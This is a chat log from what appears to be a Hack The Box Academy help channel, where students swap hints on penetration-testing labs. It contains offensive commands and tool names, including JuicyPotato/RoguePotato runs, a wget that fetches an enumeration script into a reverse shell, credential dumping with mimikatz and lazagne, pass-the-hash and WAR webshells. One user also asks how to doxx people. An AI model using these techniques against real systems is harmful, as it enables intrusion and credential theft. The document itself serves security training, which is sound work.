oh definitely and thats a good point too, for practicing. i was just thinking at least on the enumeration side you can achieve the same stuff with the built in module rather than risking running powerview
One other thing to consider (and I could even be wrong on this, but this is just my take from what they wrote) is that I think that unless it's specifically an evasive pentest, they kinda want you to do the risky stuff.
In the sample report, in the 'documentation and reporting' module, there's a finding where they mention that the tester was 'noisy', but undetected. They use this as a finding to suggest that they invest in monitoring tools for the network.
true, i dont think the goal of this assessment for the module is stealth so we can just "blast away" but yea, the goal of the pentest/assessment would outline what we are supposed to achieve
@acoustic owl did you complete this module?
Search with user A for interesting files
If you have completed the module 100%, then yes.
And you will get to see any updates if there are any.
You can see updates in the changelog
https://academy.hackthebox.com/modules/changelog
Windows Privilege Escalation
Credential Hunting
Search the file system for a file containing a password. Submit the password as your answer.
I've found like 5 passwords, but none seem to work 😅 Any hint?
Search for the string || password || in the directory || C:\Users||
Then you should find what you are looking for.
Just got it. There are litterly like 15 passwords to be found in the || C:\Users\ || directory
Maybe I was lucky, but I did not find so much
Hi, can anyone help me to solve "Password Attacks Lab - Medium
" how to find the dennis password?
Allways bake a || lazagne ||
Have a look at the || database ||
Yea, this part of that module is really bad.
Try ist with the user htb-student
I fiddled with it a lot yesterday, but I only really found this repository with --bypass-uac to be a nice clean solution that worked for me every time so far.
https://github.com/antonioCoco/RunasCs
That makes little sense haha, but I'll try it
Yeah, this is a cool tool.
Sorry, you're right, I slipped in the notes. But || lazagne || is still the way that worked for me.
I'm just wondering, if I'm the only one who couldn't find the information for each technique in the UACMe.
Ah, I found it. Nvm
Where did you find it?
You're trying Lazagne from an elevated shell right?
Genuinly not sure what to do then? Is the lab just broken?
Just fully restarted the lab, still the same issue
Maybe someone else can help you. It worked exactly like this for me back then
hello all please help if you can ... i don't want to skip the section as am stuck for 3 days
module : ACTIVE DIRECTORY ENUMERATION & ATTACKS
section: Kerberoasting - from Linux
What's your issue?
when running the kerboroating attack
it asks for a password
from the module it says that you would have the password of a domain user
but it seems that the user am connected to is not part of the domain
so when i try the password given to me which is HTB_@cademy_stdnt! it does not work
https://academy.hackthebox.com/module/143/section/1269 you can use the creds of a domain user mentioned in this section
One tip for AD Enum and attacks module, keep track of the creds you get from each section, cuz they get re-used in later section without any heads-up.
thank you so much ... i started this module without taking any notes and it seems like i have to redo it all over again
I also wasn't taking notes through doing HTB, and I really regret it now. Its really a good idea to take notes though, even if you never use them again, as it helps cement knowledge, etc. And if you do use them again, its easy to come back to.
Its also super important if you ever need to demonstrate how you did it to a customer (if you're doing pen testing, etc)
Thanks, I found it.
In mssql?
I can't continue on https://academy.hackthebox.com/module/147/section/1356. I cracked Johanna's SMB password. Then I listed the shares and found "david". Once i SMB'd into it i had no rights to list directories. I tried to crack the user "david" without success using password.list and password_mut.list (first 25k)
I need some help with Connect via RDP with the Administrator account and submit the flag.txt as you answer. in the module ATTACKING COMMON SERVICES - attacking RDP
I cannot get the hash of administrator acc
Does anyone knows when some module is on continues when my plan expires can i still continue the module or it will lock
If you're referring to the student plan or silver annual you will need to purchase the module. If you already purchased the module with cubes it's yours
The only modules you keep when silver annual or student expire or run out are the ones you completed
I'm curious about a thing, we get to keep completed modules. Does that also include target spawning?
I'm guessing target spawns are only under active subs?
If you own the module you can spawn the target
I am not under any subscription, just purchased cubes and went from there. Any module I've purchased I can go back and redo as much as I want
I'm assuming it's the same if youve completed it
But I know for sure you get to keep the modules you completed under those specific subs
Ah, infinite lab access. Niceh 
Would be kinda dumb if you purchased something and couldn't go back to it when you completed it
True, it's just the labs i've seen so far in other platforms/orgs, they don't just give it to you forever. It's always on a sub.
(I was mostly talking shit about those orgs)
Heh
No, in the shares
Pm me and I can help you. Or post here a screenshot so we know what are you doing so we can help 🙂
Predictable Reset Token - from Broken authentication
question 1
Create a token on the web application exposed at subdirectory /question1/ using the Create a reset token for htbuser button. Within an interval of +-1 second a token for the htbadmin user will also be created. The algorithm used to generate both tokens is the same as the one shown when talking about the Apache OpenMeeting bug. Forge a valid token for htbadmin and login by pressing the "Check" button. What is the flag?
can anyone help me with this question, I've finished the module but stuck on this question.
I've read the php file that explains that they use the time and convert to md5 hash.
I've altered the given.py file to hash any micro time 2s before and after the given time from target however i've not landed a hit and tried multiple different option but to no avail
Hello, I need help with this module https://academy.hackthebox.com/module/39/section/404 I did the whole step by step but when I run it, the following error appears:
Service start timed out, OK if running a command or non-service executable...
[*] Exploit completed, but no session was created.
I don't know what could be wrong I just started on htb
Question:
Use the Metasploit-Framework to exploit the target with EternalRomance. Find the flag.txt file on Administrator's desktop and submit the contents as the answer.
@charred juniper see below for more details
Slowly I am making progress on the academy.
Now I am at: academy.hackthebox.com module 77 section 853
About: Nibbles - Privilege Escalation
I have reached the point where I have setup a reverse shell and want to download the LinEnum.sh script inside the machine. The reverse shell also was a search to upgrade it but I managed. I have setup a python http.server on the ParrotOS Linux environment. It seems the wget command sees the file but it won’t download. I even tried with base64 to get the script over but unsuccessfully.
See my terminal output below:
nibbler@Nibbles:/tmp$ wget http://10.10.15.57/LinEnum.sh -O /tmp/LinEnum.test
–2023-06-10 12:15:39–
Connecting to 10.10.15.57:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: ‘/tmp/LinEnum.test’
/tmp/LinEnum.test 0%[ ] 0 --.-KB/s in 15m 0s
2023-06-10 12:30:40 (0.00 B/s) - Read error at byte 0/46631 (Connection timed out). Retrying.
–2023-06-10 12:30:41-- (try: 2)
Connecting to 10.10.15.57:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: ‘/tmp/LinEnum.test’
/tmp/LinEnum.test 0%[ ] 0 --.-KB/s
Currently I am setting up a Kali Linux box to see if it will work with another distribution.
In Kali Linux I am unable to upgrade the TTY.
I reach the step to reset the terminal but it wont allow me to do that.
Has anyone come across these issues? And were you able to resolve it? Can you share with me how to resolve this?
In the shells & payloads module (the live engagement), can someone tell me which Metasploit module works on the 3rd host?
how do i access the files in the attack box with xfreerdp
mount a folder using /drive: argument
ive read that you can directly access the drive on the my folder bit
and i see one that looks like the drive
but when i use the credentials saved on the attack box it says incorrect password
it was for the credential hunting section of password attacks
mounting the folder worked for me
Can anyone assist with Predictable Reset Token - from Broken authentication
question 1 .
I take htbadmin<timestamp in millisecond>, convert to md5 hash and run 1500 milliseconds before and after timestamp testind out every hash, however i've not gotten flag yet. can anyone please assist? this is the last thing i need to finish the module
It'll still poison other services.
except for RDP I guess
You'd have to turn off RDP, if you want to poison that too.
(most of the time, that's unnecessary)
k ty
good to know
Heya. I recently started the Pentester Path.
In the "Getting Started" module I have some really strange behaviours.
First I wasn't able to get the initial foothold in the Nibbles Lab by uploading the php-file as I was getting connection timeouts when I sent the POST request.
After it still didn't work after resetting and trying it in incognito mode I went onward to the "Knowledge Check" Section.
Trying to upload the teXXXXX in the thXXX-XXXX.XXX I also get a timeout.
Using the HTB-PWNbox and uploading it makes the page unresponsive and I had to reset the machine...
Navigating the admin section works as intended so I think the connection by itself is working.
Windows Privilege Escalation
Miscellaneous Techniques
Using the techniques in this section, find the cleartext password for an account on the target host.
I got administrator access, dumped the SAM, cracked the hashes, yet the plaintext password doesn't work...
Got it. But woah, that is a terribly asked question, because what I presented was also the cleartext password for an account on the target host...
https://academy.hackthebox.com/module/143/section/1279
Locate a configuration file containing an MSSQL connection string. What is the password for the user listed in this file?
any hint ?
Look closely at the SMB share.
Hi, I'm a little bit lost with this:
Linux fund. 'Task Scheduling'
What is the type of the service of the "syslog.service"?
Having issues with this question " What is the last mailserver returned when querying the MX records for githubapp.com? " in Information Gathering - Web -Skills Assessment.
sitting with a list of MX records from ||virus total|| and it won't accept any of them

i cant connect to any smb
Question on the DNS module (https://academy.hackthebox.com/module/144/section/1256). Trying to list DNS zones and records and then there's a question for a TXT record, but my dig query to the name server doesn't yield any txt records.
||`└─$ dig @inlanefreight.htb inlanefreight.htb txt
; <<>> DiG 9.18.12-1-Debian <<>> @inlanefreight.htb inlanefreight.htb txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12098
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 46cb81ebd7e9acd201000000648624c5ed5c62afb84d5519 (good)
;; QUESTION SECTION:
;inlanefreight.htb. IN TXT
;; AUTHORITY SECTION:
inlanefreight.htb. 604800 IN SOA inlanefreight.htb. root.inlanefreight.htb. 2 604800 86400 2419200 604800
;; Query time: 20 msec
;; SERVER: 10.129.165.192#53(inlanefreight.htb) (UDP)
;; WHEN: Sun Jun 11 19:47:17 UTC 2023
;; MSG SIZE rcvd: 115||`
HI
@rustic sage try doing an AXFR zone transfer. that should give any and all dns information
Did that before, but I'm none the wiser from there:
||`└─$ dig @inlanefreight.htb inlanefreight.htb axfr
; <<>> DiG 9.18.12-1-Debian <<>> @inlanefreight.htb inlanefreight.htb axfr
; (1 server found)
;; global options: +cmd
inlanefreight.htb. 604800 IN SOA inlanefreight.htb. root.inlanefreight.htb. 2 604800 86400 2419200 604800
inlanefreight.htb. 604800 IN NS ns.inlanefreight.htb.
admin.inlanefreight.htb. 604800 IN A 10.10.34.2
ftp.admin.inlanefreight.htb. 604800 IN A 10.10.34.2
careers.inlanefreight.htb. 604800 IN A 10.10.34.50
dc1.inlanefreight.htb. 604800 IN A 10.10.34.16
dc2.inlanefreight.htb. 604800 IN A 10.10.34.11
internal.inlanefreight.htb. 604800 IN A 127.0.0.1
admin.internal.inlanefreight.htb. 604800 IN A 10.10.1.11
wsus.internal.inlanefreight.htb. 604800 IN A 10.10.1.240
ir.inlanefreight.htb. 604800 IN A 10.10.45.5
dev.ir.inlanefreight.htb. 604800 IN A 10.10.45.6
ns.inlanefreight.htb. 604800 IN A 127.0.0.1
resources.inlanefreight.htb. 604800 IN A 10.10.34.100
securemessaging.inlanefreight.htb. 604800 IN A 10.10.34.52
test1.inlanefreight.htb. 604800 IN A 10.10.34.101
us.inlanefreight.htb. 604800 IN A 10.10.200.5
cluster14.us.inlanefreight.htb. 604800 IN A 10.10.200.14
messagecenter.us.inlanefreight.htb. 604800 IN A 10.10.200.10
ww02.inlanefreight.htb. 604800 IN A 10.10.34.112
www1.inlanefreight.htb. 604800 IN A 10.10.34.111
inlanefreight.htb. 604800 IN SOA inlanefreight.htb. root.inlanefreight.htb. 2 604800 86400 2419200 604800
;; Query time: 16 msec
;; SERVER: 10.129.165.192#53(inlanefreight.htb) (TCP)
;; WHEN: Sun Jun 11 19:59:24 UTC 2023
;; XFR size: 22 records (messages 1, bytes 594)`||
use nslookup
ah. i think i now got it even with dig. My (false) thought was that there are two zones in DNS because I was getting two SOA records when doing the zone transfor for the main domain. but i was wrong. should have instead queried all the subdomains I found and then I find a second subdomain that is its own zone (i.e., i can do a zone transfer from it) and that one then indeed has a TXT record.
Thanks for pushing me 😉
nicely done
You should be able to using ||the credentials you found in the previous two questions.||
am checking their groups
b* ||is member of ITmanagers||
Just ||enumerate the shares using a tool using the credentials you have||.
why with smbclient it was working?
When enumerating SMB shares, you're meant to be looking for which shares the account you are using has access to. Then you should examine the shares using a tool to find out what's in the shares you can access. While you can use smbclient, there's another tool that's particularly good at identifying all the files available in shares.
difference with smbmap from smbclient is, it tells you what permissions you have to the share.
Take a break from the computer for a bit. Do something else, like take a shower, watch an episodes of a TV show or something. It's something that I find does help me at times when I'm just bashing my face into the brick wall. I'll come back and sometimes solve it in 5 minutes.
Its very easy to get focussed on the mindset that you should be able to solve this if you just did that one thing different.
Use the @ip not @domain
solved a bit below. @domain worked perfectly.
In "Password Attacks Lab - Hard
" I found johannas password and connected via xfreerdp, so what is the next step should I do?
to check the permissions i use crackmapexec always
with --shares
||```SELECT
UPDATE
REFERENCES
INSERT
DELETE
EXECUTE
RECEIVE
VIEW CHANGE TRACKING
VIEW DEFINITION
ALTER
TAKE OWNERSHIP
CONTROL```||
the permisssions are good at least
lol
i need to finish it today to do topology machine tomorrow
topology machine?
yea
for security assessment 1 of active directory enumeration and attacks, to get the second users password, i know there are many ways of doing this but the module mentions its somewhere in plaintext. i can keep trying to manually find it but should one of the tools mentioned in the previous sections about share enumeration find this password?
Can anyone help with this?
I have the MX records from virus total but they are not being accepted
Which question number is that? Number 6?
yes
I used the powershell method
what does that mean? manually? with powerview?
Manually.
ok, ill keep poking around that machine then
ive checked a good amount of locations but no luck yet lol
Yes. 🙂
I used ||mimikatz in powershell via meterpreter||.
And sadly @naive wadi, I don't have any notes for that so I can't help you 😦
Should I need to transfer L****.k*** to my machine and crack it's password with john?
im using meterpreter right now on the initial machine
I think hashcat has a mode but John should work
Just finished the “deserialization attacks” module. If someone needs help, you can dm me
whats a good way to doxx people
I cracked but the password for d*** user is not correct?
what are u doing?
<@&861185840277487616>
I cracke the L*.k* file
what are u doing
I have a question for this lab "Password Attacks Lab - Hard
"
are we supposed to do port forwarding in order to get the password of the second user in the security assessment part 1 - active directory enumeration and attacks?
and what is the doubt
just open it lol
t*y?
I found a file with .kdbx extention, I cracked with john, in there I found the password for d*** user but it's not work, what should I do?
yea for the last question u need to break ur head lol
yes
i use this tool https://github.com/p3nt4/Invoke-SocksProxy
i was just sticking to what was gone through in the module but i figured its the only way at this point
Summoned. What's up?
ill take a look at that one, ive only used chisel before but i assume they accomplish the same thing
try other services
i thought it was a scam link, he was new and posted that link
i havent opened it, not sure what is inside
yea that tool is much simpler
Looks like a gif to me. The user just dosen't have embed permissions.
oh okay sorry then
ty
All good. Thanks for being vigilant.
if u have any doubt about the tool ask me
rat showed it to me yesterday lol
.\juicypotato -l 9898 -p shell.bat -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 9898
COM -> recv failed with error: 10038```
what is this error?
one guy told this UPDATE - The command above does work now, it turns out I had the wrong CLSID. Furthermore, with the shell.bat, I am now NT AUTHORITY\SYSTEM, and I finally got the flag.
what should I do with "Backup.vhd"
am i understanding this wrong? if we need to port forward the connection from the second machine through the initial machine back to our attack box, dont we need 2 connections on the initial box in order to 1) port forward and 2) get a connection from the second machine onto the first ?
mount it
no
u just need to do the port forward to ur target machine
there are 3 machines
attacker | pivot | AD
right
but dont we need to get at least a reverse shell or something on the second machine in order to do the next step?
u got the t*y credentials without pivoting?
no
thats what im trying to do now
and we need to run a certain tool on that machine in order to get the creds is my thought process
u doing all in the webshell?
no lol i have a meterpreter shell on the first machine/web server
i guess im confused on how that wil allow us to access the second machine?
to get tp**y creds
dont u have the creds for ||svc_sql?||
Hey yall! Im working on the HTTPs / TLS module, but I consistently encounter this error when trying to access the lab URL. Could someone please help?
yes
which im using now to access the machine
try https://
😖 Thanks! That worked and I also realized why I wasnt able to see the HSTS header. Thanks @zinc marsh !
Hi folks! Would anyone be able to help me figure out the “other flag” in the ping exercise (Using Web Proxies)? I’ve gotten the first flag easily by using ‘cat flag.txt’, but when looking at the other files listed nothing is a text file that can be viewed. I’ve tried changing directories through ‘cd ..’ but nothing stands out. I’ve used the following as well to look at all of the files and still nothing stood out:
‘ls -R /var/www/html;’
Im completely at a loss for what else to look at. It was interesting the number of files I could see but nothing “said” second flag to me…
Thanks in advance for any guidance.
.\roguepotato.exe -r 172.16.7.240 -e "C:\Users\Public\Downloads\shell.exe"
[+] Starting RoguePotato...
[!] RogueOxidResolver not run locally. Ensure you run it on your remote machine
[*] Creating Pipe Server thread..
[*] Creating TriggerDCOM thread...
[*] Listening on pipe \\.\pipe\RoguePotato\pipe\epmapper, waiting for client to connect
[*] Calling CoGetInstanceFromIStorage with CLSID:{4991d34b-80a1-4291-83b6-3328366b9097}
[*] IStoragetrigger written:106 bytes
[-] Named pipe didn't received any connect request. Exiting ...```
someone could help me
hello, I am at attack common services SQL. I cannot connect on the MSSQL server using these commands:
sqsh -S 10.129.74.205 -U htbdbuser -P 'MSSQLAccess01!'
or
sqsh -S 10.129.74.205 -U .\htbdbuser -P 'MSSQLAccess01!'
What am I doing wrong?
I did 2 backslashes. Discord removed one.
What’s the issue?
I'm stuck in the "WordPress - Discovery & Enumeration" section of the "Attacking Common Applications" module. I actually enumerated the site and found the hidden plugin, however I cannot seem to find the version number. It's not in the source code and I cannot find the readme.txt which the hint alludes to. Can someone nudge me in the right direction?
Edit: as the prophecy foretells, I found the answer right after posting as I'd been looking for an hour 🙂
Nice job! Glad you figured it out!
Anyone could help me
Find all available DNS records for the "inlanefreight.htb" domain on the target name server and submit the flag found as a DNS record as the answer.
Attacking DNS
enumerate the zone. Then find another zone and enumerate it as well
Hey all, for Broken Authentication - Brute Forcing Cookies, Question 2. I just want to confirm if I am looking at the correct cookie to work on. Currently I get the following within my proxy: 'Cookie: PHPSESSID=op5tvfbvhfu3k806kniubpvsvu'. From other posts though, it appears there is a cookie with HTB in the name, but that does not appear for me. If someone can confirm it would be greatly appreciated it!
This was a beast!!!
Attack Active Directory &ntds.dit. In password attack module. Finding John username and password world rustome wordlist. ??? Any hint to reduce the time.
How was it ?
Which question are you stuck on?
John is probably not the right username
From my point of view, a really good module that shows CME with all its possibilities.
Are you at this question?
Submit the contents of the C:\flag.txt file on MS01.
or at this?
Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host.
the latter one, the Administrator's flag
okay, then ||mimikatz on SQL01|| is your friend
You should find a Password in Cleartext
I thought it was fun 😄
Interesting I didn't do it that way. This is SA 2 question 8 right? I just did ||a pivot via a proxy and passed a hash with evil-winrm||.
I have just sent you printscreens.
hi
The most likely reason is that I am just doing something completely wrong trying to pass the hash
Hi folks. I was wandering if there is someone to help me. I’m stuck in one of those questions from Basic toolset
Which module, which section, which question, what exactly is not working?
Thank you @acoustic owl and @pine dagger !! I finally got it, my mistake was to write the domain into the user parameter of winrm...so mssqlsvc instead of inlanefreight\mssqlsvc and it finally worked 🙂
The section is bypass security measures- firewall and IDS/IPS Evasion- easy lab . Question is our clue wants to know if we can identify which operating system their machine is running on. Submit the OS name as answer.
I can not, why?
Crack it, then mount it
which john method should I use for crack it?
it's .vhd file I do not know how to crack it?
There is an entire article on mounting vhd via linux. Quite simple 😁
Thanks a lot it was easy 😆 damn
But yes, you can always spin up a windows vm and done👀
I appreciate it. Thanks a lot.
Revere shell ||maybe with .war file||
hello
For some reason when i try completing this task Find the user for the SMB service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer.
it keeps saying tree connect failed NT_status_bad_network_name whenever i try to login
I have a problem with Win PE - SeImpersonate and SeAssignPrimaryToken section. When i try mssqlclient.py sql_dev@10.129.43.30 -windows-auth I keep getting 'SSL routines', '', 'no protocols available'. I already googled a supposed solution (https://stackoverflow.com/questions/62357205/openssl-cant-establish-ssl-connection-because-unsupported-protocol), but that doesn't seem to work. Still getting the same error.
Solved
Get started module, service scanning section + 1 Perform a Nmap scan of the target. What is the version of the service from the Nmap scan running on port 8080? , what is the answer i think Apache Tomcat/9.0.31 (Ubuntu), or 9.0.31 or Tomcat/9.0.31
i'm stuck, can you help me 😄
Hey @acoustic owl - wondering if you might be able to nudge me in the right direction? I’m on the Repeating Requests module under the web proxy section and stuck on trying to find another flag. I was able to use recursive flag to find all of the directories under /var- however didn’t see any other flag…
I find that for some reason the questions are not worded logically in the DNS section in the footprinting module, Especially the first question. Just don't get it!
You can use issue any command using the repeater, e.g. for finding files on the system
||the other flag is also called flag.txt||
Thx
Hi all,i am currently on Attacking Common Services - Easy lab,i got the flag. But it says there are 2 ways to get it,can someone help me to get other method?
Did you find the flag with the tip from Flo0fd? Or do you still need help?
I did not write this module.
What exactly do you not understand? What do you need help with?
What would you expect from a DNS module? I see many people here don't understand DNS. A module about it would certainly make sense from my point of view.
For report writing for the exam, are we expected to record down EVERY finding even if it leads to a dead end, or just every finding that contributes to the attack path will suffice?
@acoustic owl It says to "Interact with the target DNS using its IP address and enumerate the FQDN of it for the "inlanefreight.htb" domain." From the commands given in the module I am not sure how to do that. You typically require both an ip address and an FQDN in order to perform the dig command.
Hi I need help on Shell & Payloads module in live engagement section , actually when enumerating target I have Tomcat service on port 8080 I need exploit it using msfvenom ,I was created war file but I don’t have any Idea to deliver my file because I don’t have a browser to interact with me , so I think I can when using msfconsole after Im searching I use exploits multi/handler but its doesn’t work 😕 any hint or I’m in wrong rode
https://academy.hackthebox.com/module/143/section/1279 Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host. someone could help me, ||I have SeImpersonatePrivilege to do the privesc, but i dont get juicypotato or roguepotato to work||
@acoustic owl I just keep getting the SOA section which shows the root servers but this is not the correct answer and does not result in finding the "inlanefreight.htb" domain. The question is ambiguous and vague, It does not matter how many times I read the question or the module content for guidance. I am just unsure how to approach this question. Thanks for your assistance 🙂
Sadly, still need help… I found the first flag.txt along with
Index.html
Node_modules
package-lock.JSON
Public
Server.js
Not seeing any other file in a different directory by the same name.
I’ve also used the search function when I ls -R /var/www/html to see if there is any other file by the same name but no luck
Thanks for the tip @tawny zealot ! I’m new to this field, maybe I’m just doing something wrong.
You could use something like ||'find / -name flag.txt 2>/dev/null|| to look for files named flag.txt on the entire system, or you ||cd to the root of the file system and try your luck there ;)||
dig is there to query a name server.
You have a name and want to get the corresponding IP address.
Because htb or local are not toplevel domains (TLD) that a root name server can resolve, you must specify an authoritative name server that knows/manages the corresponding zone file.
The question is unfortunate formulated, I agree.
Searched is the FQDN of the NameServer
You’re awesome! Thanks so much! Those tips did it. Goes to show how much of a noob I am. Had no idea you could search the entire system… @tawny zealot
Hello guys, sorry for the question and i do not know is someone else already made the question, by any chance any of you guys have any kind of learning path to follow to be able to follow the fundamentals modules in their respective order, i want to help my brother to start from scratch but to be honest in my case i followed the modules randomly and i do not ahve idea where we can start fro, jsut the fundamentals modules, we will really appreciate any insights about it
@acoustic owl Have I understood FQDN correctly? After reading the module material many times, this is what I think an FQDN is:
[hostname].[subdomain].[domain].[topleveldomain].
my gut reaction to "Searched is the FQDN of the NameServer" is that I should try .com instead of htb and see if this changes the output.
FQDN is the complete name
Ex. www.example.com.
Or also www.en.example.com.
No, you don't have to do anything with com.
Only htb
A fully qualified domain name (FQDN), sometimes also referred to as an absolute domain name, is a domain name that specifies its exact location in the tree hierarchy of the Domain Name System (DNS). It specifies all domain levels, including the top-level domain and the root zone. A fully qualified domain name is distinguished by its lack of ambi...
Maybe you should follow this path
https://academy.hackthebox.com/path/preview/information-security-foundations
@acoustic owl wonderful, thanks! much appreciated!
You're welcome, happy I could help 🙂
Just as additional info: most of the time you do not have permission to search the entire system (especially as the user a web service runs on), that is why you direct errors to dev/null (thats what the 2>/dev/null is for - but that also means that a file might still exist, it just isnt accessible for your current user
Anyone can answer my question? 😅
Have you tried deploying your .war file with the Tomcat Manager Website?
Actually I don’t have browser on my machine just terminal
I think if I can use curl or wget but still doesn’t work
Because it is a foothold? You can either RDP into it, so you have a graphical Interface, or you can try with ssh -D or other options to use it as a proxy
Ya Im in RDP but I cant show where is browser
Gotcha, thank you again for the additional context! That's super helpful!
what happens if you just type "firefox" into the console?
When restarting my connection it’s work thanks ❤️🔥
can i get some help on AD assement part 1, i've rdped to ms01 host and got the flag. now im kinda lost on how to find this cleartext password. i tried looking manually and then ran winPEAS but nothing....
think about tools to find credentials
https://academy.hackthebox.com/module/143/section/1279 any hint for Q8: Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host.
I have the hash but im not able to pass the hash or crack it
i got the credentials for the next questions not the flag for that one
firefox
just type firefox in terminal
Question 2 in the live engagement, shells & payloads module, I managed to get a webshell but for some reason most commands are not working
Whoami and hostname works, but I can’t ls/dir or anything
it is not interactive shell then
Yup
can u help me with skills assessment part 2?
Just see if war webshells from other repo work.
Hey did you end up figuring out whats wrong cos ive tried literally eveything on this exact problem in this module, legit been stuck on it for like the 3 hours and got absolutely no where. I cracked the initial one but cant seem to get the password for Skills Assement 1 on Login Brute Forcing.
@cursive zinc

